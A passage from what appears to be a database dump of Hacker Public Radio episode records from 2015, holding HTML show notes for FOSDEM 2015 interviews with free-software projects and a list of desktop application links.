Free, Libre, and Open Source Software (FLOSS) projects. Conservancy provides a non-profit home and infrastructure for FLOSS projects. This allows FLOSS developers to focus on what they do best - writing and improving FLOSS for the general public - while Conservancy takes care of the projects\' needs that do not relate directly to software development and documentation.\r\n</blockquote>\r\n\r\n<h2>Free as in Freedom</h2>\r\n<p>\r\nWebsite: <a href=\"https://faif.us/\" target=\"_blank\">https://faif.us/</a>\r\n</p>\r\n<blockquote cite=\"https://faif.us/\">\r\nFree as in Freedom is a bi-weekly oggcast, hosted and presented by\r\n<a href=\"https://ebb.org/bkuhn\">Bradley M. Kuhn</a> and <a href=\"https://gnomg.org\">Karen Sandler</a>.\r\nThe discussion includes legal, policy, and many other issues in the Free, Libre,\r\nand Open Source Software (FLOSS) world.  Occasionally, guests join\r\nBradley and Karen to discuss various topics regarding FLOSS.\r\n</blockquote>\r\n\r\n<p>\r\n<img class=\"headshot\" alt=\"***An image of bkuhn taken on 29 August 2007***\" src=\"https://www.ebb.org/bkuhn/bkuhn-headshot-smallest.jpg\" height=\"308\" width=\"205\" />\r\n</p>\r\n<p>Listen to the interview with Bradley M. Kuhn</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.ogg#t=74,262\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.mp3#t=74,262\" type=\"audio/mpeg\" >\r\n</audio>\r\n\r\n<p>\r\n<img alt=\"headshot\" src=\"https://questioncopyright.org/cm/images/karen-sandler.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Karen Sandler</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.ogg#t=265,932\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.mp3#t=265,932\" type=\"audio/mpeg\" >\r\n</audio>\r\n\r\n\r\n<h2>GNOME</h2>\r\n\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/2/000/08b/335/1e76a9a.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Sriram Ramkrishna</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.ogg#t=932,1611\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.mp3#t=932,1611\" type=\"audio/mpeg\" >\r\n</audio>\r\n\r\n<p>\r\n<img src=\"https://www.gnome.org/wp-content/themes/gnome-grass/images/gnome-logo.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://gnome.org\" target=\"_blank\">https://gnome.org</a>\r\n</p>\r\n<blockquote cite=\"https://www.gnome.org/about/\">\r\n<p>GNOME 3 is an easy and elegant way to use your computer. It is designed to put you in control and bring freedom to everybody. GNOME 3 is developed by the GNOME community, a diverse, international group of contributors that is supported by an independent, non-profit foundation.</p>\r\n</blockquote>\r\n\r\n\r\n<h2>Fedora</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/7/000/1aa/217/0c09cd7.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Matthew Miller</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.ogg#t=1611,1975\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.mp3#t=1611,1975\" type=\"audio/mpeg\" >\r\n</audio>\r\n\r\n<p>\r\n<img src=\"https://getfedora.org/static/images/fedora-logotext.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://getfedora.org/en/\" target=\"_blank\">https://getfedora.org/en/</a>\r\n</p>\r\n<blockquote cite=\"https://fedoraproject.org/wiki/Overview\">\r\n<p>The <em>Fedora Project</em> is a partnership of free software community members from around the globe.  The Fedora Project builds open source software communities and produces a Linux distribution called \"Fedora.\" The Fedora Project\'s mission is to lead the advancement of free and open source software and content as a collaborative community. \r\n</blockquote>\r\n\r\n<h2>OpenStack</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/3/005/073/147/2902ba0.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Rich Bowen</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.ogg#t=1975,2279\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.mp3#t=1975,2279\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://openstack.org/themes/openstack/images/openstack-logo-full.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://openstack.org\" target=\"_blank\">https://openstack.org</a>\r\n</p>\r\n<blockquote cite=\"https://openstack.org/\">\r\nOpenStack software controls large pools of compute, storage, and networking resources throughout a datacenter, managed through a <a href=\"https://openstack.org/software/openstack-dashboard/\">dashboard</a> or via the <a href=\"https://developer.openstack.org\">OpenStack API</a>. OpenStack works with <a href=\"https://openstack.org/openstack.org/marketplace/drivers/\">popular enterprise and open source technologies</a> making it ideal for heterogeneous infrastructure.\r\n</blockquote>\r\n\r\n<h2>CentOS</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/4/000/140/3ea/074dbf5.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Karanbir Singh</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.ogg#t=2279,2850\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1697.mp3#t=2279,2850\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://www.centos.org/images/logo_small.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.centos.org\" target=\"_blank\">https://www.centos.org</a>\r\n</p>\r\n<blockquote cite=\"https://www.centos.org/about/\">\r\n<p>The CentOS Linux distribution is a stable, predictable, manageable and reproduceable platform derived from the sources of Red Hat Enterprise Linux (RHEL). We are now looking to expand on that by creating the resources needed by other communities to come together and be able to build on the CentOS Linux platform. And today we start the process by delivering a clear governance model, increased transparency and access. In the coming weeks we aim to publish our own roadmap that includes variants of the core CentOS Linux.</p>\r\n</blockquote>\r\n\r\n<h2>Music</h2>\r\n<pre>\r\nTrack name : Free Software Song\r\nPerformer : Fenster\r\nRecorded date : 2002\r\nCopyright : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: \r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\r\n</pre>\r\n',30,78,1,'CC-BY-SA','Software Freedom Conservancy,Free as in Freedom,GNOME,Fedora,OpenStack,CentOS,Fenster',0,0,1),
(1698,'2015-02-04','FOSDEM 2015 Part 2 of 5',2758,'OpenMandriva, Mageia, KDE, Debian, Puppet, OwnCloud, Diaspora','<h2>FOSDEM 2015</h2>\r\n<p>\r\n<img src=\"https://fosdem.org/2015/assets/style/logo-big-a5243e4d7e00f8bc6816e2b3f3804f505a17ae4832e6e52a24d183617e03a87c.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://fosdem.org/2015/\" target=\"_blank\">https://fosdem.org/2015/</a>\r\n</p>\r\n<blockquote cite=\"https://fosdem.org/2015/about/\">\r\nFOSDEM is a two-day event organised by volunteers to promote the widespread use of open source software. Videos of the talks refered to in this show are made available on their website.\r\n</blockquote>\r\n\r\n<h2>OpenMandriva</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://upload.wikimedia.org/wikipedia/en/0/0d/Bero.JPG\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Bernhard Rosenkränzer</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.ogg#t=70,508\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.mp3#t=70,508\" type=\"audio/mpeg\" >\r\n</audio>\r\n\r\n<p>\r\n<img height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/6/60/Oma-logo-22042013_300pp.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://openmandriva.org\" target=\"_blank\">https://openmandriva.org</a>\r\n</p>\r\n<blockquote cite=\"https://openmandriva.org/en/about\">\r\n<p>We are a <strong>100% community-driven association</strong> that believes in the values of free software &amp; collaboration. We fight to protect these values and promote solutions anyone can use, change and distribute. OpenMandriva believes in <em>creating, improving, promoting and distributing free software</em> in general, and its projects in particular. We also crave for <em>promoting free exchange of knowledge and equality of opportunity in software access and development, as well as in education, science and research</em>. Our products are <em>developed with passion</em> by the community and aim to be flexible in use by all.</p>\r\n\r\n<p>OpenMandriva represents the paradigm: <strong>from community to community, with passion, fun and dedication</strong>.</p>\r\n\r\n</blockquote>\r\n\r\n<h2>Mageia</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/media/p/1/000/086/256/1d2d3e5.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Anne Nicolas</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.ogg#t=508,737\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.mp3#t=508,737\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://nav.mageia.org/css/mageia-logo-nav-3.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://mageia.org\" target=\"_blank\">https://mageia.org</a>\r\n</p>\r\n<blockquote cite=\"https://www.mageia.org/en/about/\">\r\nMageia is a GNU/Linux-based, Free Software operating system. It is a community project, supported by a nonprofit organisation of elected contributors. Our mission: to build great tools for people.\r\n</blockquote>\r\n\r\n<h2>KDE</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/media/p/5/005/01f/3b1/0fd5fe5.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Jonathan Riddell</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.ogg#t=737,1104\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.mp3#t=737,1104\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://www.kde.org/media/images/kde.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.kde.org\" target=\"_blank\">https://www.kde.org</a>\r\n</p>\r\n<blockquote cite=\"https://www.kde.org\">\r\nKDE is an international team co-operating on development and distribution of Free, Open Source Software for desktop and portable computing. Our community has developed a wide variety of applications for communication, work, education and entertainment. We have a strong focus on finding innovative solutions to old and new problems, creating a vibrant, open atmosphere for experimentation. \r\n</blockquote>\r\n\r\n<h2>Debian</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://www.cs.unb.ca/~bremner/pics/portrait.png\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with David Bremner</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.ogg#t=1104,1506\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.mp3#t=1104,1506\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://www.debian.org/Pics/openlogo-50.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.debian.org/\" target=\"_blank\">https://www.debian.org/</a>\r\n</p>\r\n<blockquote cite=\"https://www.debian.org/intro/about\">\r\n<p>The <a href=\"https://www.debian.org/\">Debian Project</a> is an association of individuals who have made common cause to create a free operating system. This operating system that we have created is called <strong>Debian</strong>.\r\n</p>\r\n</blockquote>\r\n\r\n<h2>Puppet</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://photos1.meetupstatic.com/photos/member/c/7/5/8/member_104091032.jpeg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Johan De W.</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.ogg#t=1506,1651\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.mp3#t=1506,1651\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/en/thumb/c/c5/Puppet_Labs_Logo.png/250px-Puppet_Labs_Logo.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://puppetlabs.com/\" target=\"_blank\">https://puppetlabs.com/</a>\r\n</p>\r\n<blockquote cite=\"https://puppetlabs.com/about\">\r\nPuppet Labs is the leader in IT automation. Our software helps sysadmins automate configuration and management of machines and the software running on them. With our software, businesses can make rapid, repeatable changes and automatically enforce the consistency of systems and devices, across physical and virtual machines, on prem or in the cloud.\r\n</blockquote>\r\n\r\n<h2>OwnCloud</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://avatars3.githubusercontent.com/u/925062\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Jan-Christoph Borchardt</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.ogg#t=1651,2024\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.mp3#t=1651,2024\" type=\"audio/mpeg\" >\r\n</audio>\r\n\r\n<p>\r\n<img height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/OwnCloud2-Logo.svg/595px-OwnCloud2-Logo.svg.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://owncloud.org/\" target=\"_blank\">https://owncloud.org/</a>\r\n</p>\r\n<blockquote cite=\"https://owncloud.org/features/\">\r\nAccess, Sync and Share your data, under your control!\r\nownCloud provides access to your data through a web interface or WebDAV while providing a platform to view, sync and share across devices easily, all under your control. ownCloud\'s open architecture is extensible via a simple but powerful API for applications and plugins and works with any storage. \r\n</blockquote>\r\n\r\n<h2>Diaspora</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/378800000433987901/5db390c2acb11d9c4e9d977ff8f84f20.jpeg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Jason Robinson</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.ogg#t=2024,2537\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1698.mp3#t=2024,2537\" type=\"audio/mpeg\" >\r\n</audio>\r\n\r\n<p>\r\n<img height=\"30\" src=\"https://upload.wikimedia.org/wikipedia/commons/9/9e/Diaspora_social_network_project_official_logo%2C_helvetica_font.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://diasporafoundation.org/\" target=\"_blank\">https://diasporafoundation.org/</a>\r\n</p>\r\n<blockquote cite=\"https://diasporafoundation.org/about\">\r\n<p>diaspora* is a true network, with no central base. There are servers (called \"pods\") all over the world, each containing the data of those users who have chosen to register with it. These pods communicate with each other seamlessly, so that you can register with any pod and communicate freely with your contacts, wherever they are on the network.</p>\r\n</blockquote>\r\n\r\n<h2>Music</h2>\r\n<pre>\r\nTrack name : Free Software Song\r\nPerformer : Fenster\r\nRecorded date : 2002\r\nCopyright : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: \r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\r\n</pre>\r\n',30,78,1,'CC-BY-SA','OpenMandriva, Mageia, KDE, Debian, Puppet, OwnCloud, Diaspora',0,0,1),
(1707,'2015-02-17','A tour round my desktop',2821,'A look at the applications I use, why I use them and the alternatives I\'ve tried.','<ul>\r\n<li>Unetbootin: <a href=\"https://unetbootin.sourceforge.net/\">https://unetbootin.sourceforge.net/</a>\r\n</li>\r\n<li>LibreOffice: <a href=\"https://www.libreoffice.org/\">https://www.libreoffice.org/</a>\r\n</li>\r\n<li>AbiWord: <a href=\"https://abisource.org/\">https://abisource.org/</a>\r\n</li>\r\n<li>Gnumeric: <a href=\"https://www.gnumeric.org/\">https://www.gnumeric.org/</a>\r\n</li>\r\n<li>PDF-Shuffler: <a href=\"https://sourceforge.net/projects/pdfshuffler/\">https://sourceforge.net/projects/pdfshuffler/</a>\r\n</li>\r\n<li>Audacity: <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>\r\n</li>\r\n<li>Audio Tag Tool: <a href=\"https://freecode.com/projects/audiotagtool\">https://freecode.com/projects/audiotagtool</a>\r\n</li>\r\n<li>Bombono DVD: <a href=\"https://www.bombono.org/cgi-bin/wiki/\">https://www.bombono.org/cgi-bin/wiki/</a>\r\n</li>\r\n<li>Decibel Audio Player: <a href=\"https://decibel.silent-blade.org/\">https://decibel.silent-blade.org/</a>\r\n</li>\r\n<li>Handbrake: <a href=\"https://handbrake.fr/\">https://handbrake.fr/</a>\r\n</li>\r\n<li>MHWaveEdit: <a href=\"https://gna.org/projects/mhwaveedit/\">https://gna.org/projects/mhwaveedit/</a>\r\n</li>\r\n<li>Minitube: <a href=\"https://flavio.tordini.org/minitube\">https://flavio.tordini.org/minitube</a>\r\n</li>\r\n<li>OpenShot: <a href=\"https://openshot.org/\">https://openshot.org/</a>\r\n</li>\r\n<li>Sound Converter: <a href=\"https://soundconverter.org/\">https://soundconverter.org/</a>\r\n</li>\r\n<li>VLC: <a href=\"https://www.videolan.org/vlc/\">https://www.videolan.org/vlc/</a>\r\n</li>\r\n<li>Filezilla: <a href=\"https://filezilla-project.org/\">https://filezilla-project.org/</a>\r\n</li>\r\n<li>Dia: <a href=\"https://wiki.gnome.org/Apps/Dia\">https://wiki.gnome.org/Apps/Dia</a>\r\n</li>\r\n<li>GIMP: <a href=\"https://www.gimp.org/\">https://www.gimp.org/</a>\r\n</li>\r\n<li>GScan2PDF: <a href=\"https://freecode.com/projects/gscan2pdf\">https://freecode.com/projects/gscan2pdf</a>\r\n</li>\r\n<li>Inkscape: <a href=\"https://en.wikipedia.org/wiki/Inkscape\">https://en.wikipedia.org/wiki/Inkscape</a>\r\n</li>\r\n<li>Krita: <a href=\"https://krita.org/\">https://krita.org/</a>\r\n</li>\r\n<li>Simple Scan: <a href=\"https://github.com/mnagel/simple-scan\">https://github.com/mnagel/simple-scan</a>\r\n</li>\r\n<li>XSane: <a href=\"https://www.sane-project.org/\">https://www.sane-project.org/</a>\r\n</li>\r\n<li>Stellarium: <a href=\"https://stellarium.org/\">https://stellarium.org/</a>\r\n</li>\r\n<li>SQLiteman: <a href=\"https://sqliteman.yarpen.cz/\">https://sqliteman.yarpen.cz/</a>\r\n</li>\r\n<li>Gambas: <a href=\"https://gambas.sourceforge.net/en/main.html\">https://gambas.sourceforge.net/en/main.html</a>\r\n</li>\r\n<li>Lazarus: <a href=\"https://lazarus.freepascal.org/\">https://lazarus.freepascal.org/</a>\r\n</li>\r\n<li>Get-iplayer: <a href=\"https://github.com/get-iplayer/get_iplayer\">https://github.com/get-iplayer/get_iplayer</a>\r\n</li>\r\n<li>SearchMonkey: <a href=\"https://freecode.com/projects/searchmonkey\">https://freecode.com/projects/searchmonkey</a>\r\n</li>\r\n</ul>',246,0,0,'CC-BY-SA','Desktop, applications, software, Linux',0,0,1),
(1699,'2015-02-05','FOSDEM 2015 Part 3 of 5',2876,'Wikimedia, Hack the Knit, Jitsi, XMMP, Kolab, DoudouLinux','<p>\r\n<img src=\"https://fosdem.org/2015/assets/style/logo-big-a5243e4d7e00f8bc6816e2b3f3804f505a17ae4832e6e52a24d183617e03a87c.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://fosdem.org/2015/\" target=\"_blank\">https://fosdem.org/2015/</a>\r\n</p>\r\n<blockquote cite=\"https://fosdem.org/2015/about/\">\r\nFOSDEM is a two-day event organised by volunteers to promote the widespread use of open source software. Videos of the talks refered to in this show are made available on their website.\r\n</blockquote>\r\n\r\n<h2>Wikimedia</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/3/005/04d/0b2/0965951.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Quim Gil</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.ogg#t=69,750\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.mp3#t=69,750\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Wikimedia_Foundation_RGB_logo_with_text.svg/143px-Wikimedia_Foundation_RGB_logo_with_text.svg.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.mediawiki.org/wiki/MediaWiki\" target=\"_blank\">https://www.mediawiki.org/wiki/MediaWiki</a>\r\n</p>\r\n<blockquote cite=\"https://www.mediawiki.org/wiki/MediaWiki\">\r\nThe Wikimedia Foundation, Inc. is a nonprofit charitable organization dedicated to encouraging the growth, development and distribution of free, multilingual, educational content, and to providing the full content of these wiki-based projects to the public free of charge. The Wikimedia Foundation operates some of the largest collaboratively edited reference projects in the world, including Wikipedia, a top-ten internet property. \r\n</blockquote>\r\n\r\n<h2>Constant Association for Art and Media ~ Hack the Knit</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://hackadaycom.files.wordpress.com/2014/06/170.jpg?w=800\" /><br />\r\n</p>\r\n<p>Listen to the interview with Andz and Chris</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.ogg#t=750,1060\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.mp3#t=750,1060\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\nWebsite: <a href=\"https://www.constantvzw.org/\" target=\"_blank\">https://www.constantvzw.org/</a>\r\n</p>\r\n<blockquote cite=\"https://www.constantvzw.org/\">\r\n<p>Constant is a non-profit association, an interdisciplinary arts-lab based and active in Brussels since 1997. Constant works in-between media and art and is interested in the culture and ethics of the World Wide Web. The artistic practice of Constant is inspired by the way that technological infrastructures, data-exchange and software determine our daily life. Free software, copyright alternatives and (cyber)feminism are important threads running through the activities of Constant. Constant organizes workshops, print-parties, walks and \"Verbindingen/Jonctions\"-meetings on a regular basis for a public that\'s into experiments, discussions and all kinds of exchanges.</p>\r\n</blockquote>\r\n\r\n<h2>Libre Graphics magazine</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://c1.staticflickr.com/9/8265/8640057026_8f50cc0095_h.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with ginger</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.ogg#t=1060,1259\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.mp3#t=1060,1259\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://libregraphicsmag.com/wp-content/themes/libregaphicsmag-new/images/libregraphicsmag100px_transparent.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://libregraphicsmag.com\" target=\"_blank\">https://libregraphicsmag.com</a>\r\n</p>\r\n<blockquote cite=\"https://libregraphicsmag.com\">\r\n<p>A Libre Graphics Magazine is long overdue. In a market dominated by  magazines devoted to design discourse built around proprietary tools and the latest computer graphics tricks and techniques, users of Libre Graphics software are underserved and unrecognized. We know that these users exist, both professionally and as hobbyists. We know this because we are they. We are graphic designers, media artists, photographers and web designers. We use Libre Graphics software, quietly and without regard. Our peers, used to proprietary alternatives, question our choice of tools. Our work, when executed well, is indistinguishable from work produced by more traditional means. Thus, our choices are invisible, unless we make an issue of them.</p>\r\n</blockquote>\r\n\r\n<h2>Jitsi</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://avatars2.githubusercontent.com/u/949783\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Ingo Bauersachs</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.ogg#t=1259,1577\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.mp3#t=1259,1577\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://jitsi.org/wiki/pub/sip-communicator/logo3.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://jitsi.org\" target=\"_blank\">https://jitsi.org</a>\r\n</p>\r\n<blockquote cite=\"https://jitsi.org/Main/About\">\r\nJitsi is an audio/video Internet phone and instant messenger written in Java. It supports some of the most popular instant messaging and telephony protocols such as SIP, Jabber/XMPP (and hence Facebook and Google Talk), AIM, ICQ, MSN, Yahoo! Messenger.\r\n</blockquote>\r\n\r\n<h2>XMPP</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/4/000/171/360/15d2809.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Joachim Lindborg</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.ogg#t=1577,1969\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.mp3#t=1577,1969\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img heights=\"80\" src=\"https://xmpp.org/wp-content/uploads/2010/10/xmpp-org.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://xmpp.org/\" target=\"_blank\">https://xmpp.org/</a>\r\n</p>\r\n<blockquote cite=\"https://xmpp.org/\">\r\nThe Extensible Messaging and Presence Protocol (XMPP) is an open technology for real-time communication, which powers a wide range of applications including instant messaging, presence, multi-party chat, voice and video calls, collaboration, lightweight middleware, content syndication, and generalized routing of XML data.\r\n</blockquote>\r\n\r\n<h2>Kolab, MyKolab, Roundcube</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/1/005/051/314/2176e04.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Robin Edgar</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.ogg#t=1969,2409\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.mp3#t=1969,2409\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://mykolab.com/sites/mykolab.com/themes/mykolab/images/logo.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://mykolab.com\" target=\"_blank\">https://mykolab.com</a>\r\n</p>\r\n<blockquote cite=\"https://mykolab.com\">\r\nWe offer secure email accounts including calendars and address books that synchronize to all your devices. The data is stored in our very own data center in Switzerland and cannot be accessed by spy programs such as PRISM, so there will be no spying. There is also no corporate spying, because we show no advertisements. Enjoy the convenience of the Cloud without compromising freedom and openness.<br />\r\nKolab is a free and open source groupware suite. It consists of the Kolab server and a wide variety of Kolab clients, including KDE PIM-Suite Kontact, Horde Webfrontend, Mozilla Thunderbird and Mozilla Lightning with SyncKolab extension and Microsoft Outlook with proprietary Kolab-Connector PlugIns.<br />\r\nRoundcube is a web-based IMAP email client. Roundcube\'s most prominent feature is the pervasive use of Ajax technology to present a more fluid and responsive user interface than that of traditional webmail clients. After about two years of development, the first stable release of Roundcube was announced in early 2008.\r\n</blockquote>\r\n<p>\r\nIt is also time to mark the 2nd and 3rd of May 2015 in your calendars: the inaugural Kolab Summit will be held in The Hague on those dates. Come and join us for two days jam-packed full with talks, code sprints and social events!\r\n</p>\r\n<pre>\r\n<strong>Kolab Summit and openSUSE Conference</strong>\r\nDen Haag / Netherlands \r\nMay 01 - 04, 2015\r\n</pre>\r\n\r\n<h2>DoudouLinux</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/3/000/013/3ac/3969697.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Xavier Brusselaers</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.ogg#t=2409,2654\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1699.mp3#t=2409,2654\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://media.doudoulinux.org/logo/logo-toucan-150x144.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.doudoulinux.org/\" target=\"_blank\">https://www.doudoulinux.org/</a>\r\n</p>\r\n<blockquote cite=\"https://www.doudoulinux.org/web/english/about/index.html\">\r\nDoudouLinux is a system targeting young children. It aims at making computer use as simple and pleasant as possible; while also making computer use more accessible to all children on earth, without discrimination, in order to favor their self-fulfillment. In this section you will learn more about how it works, how it is designed, who developed it, how it came to be, why, and so on.\r\n</blockquote> 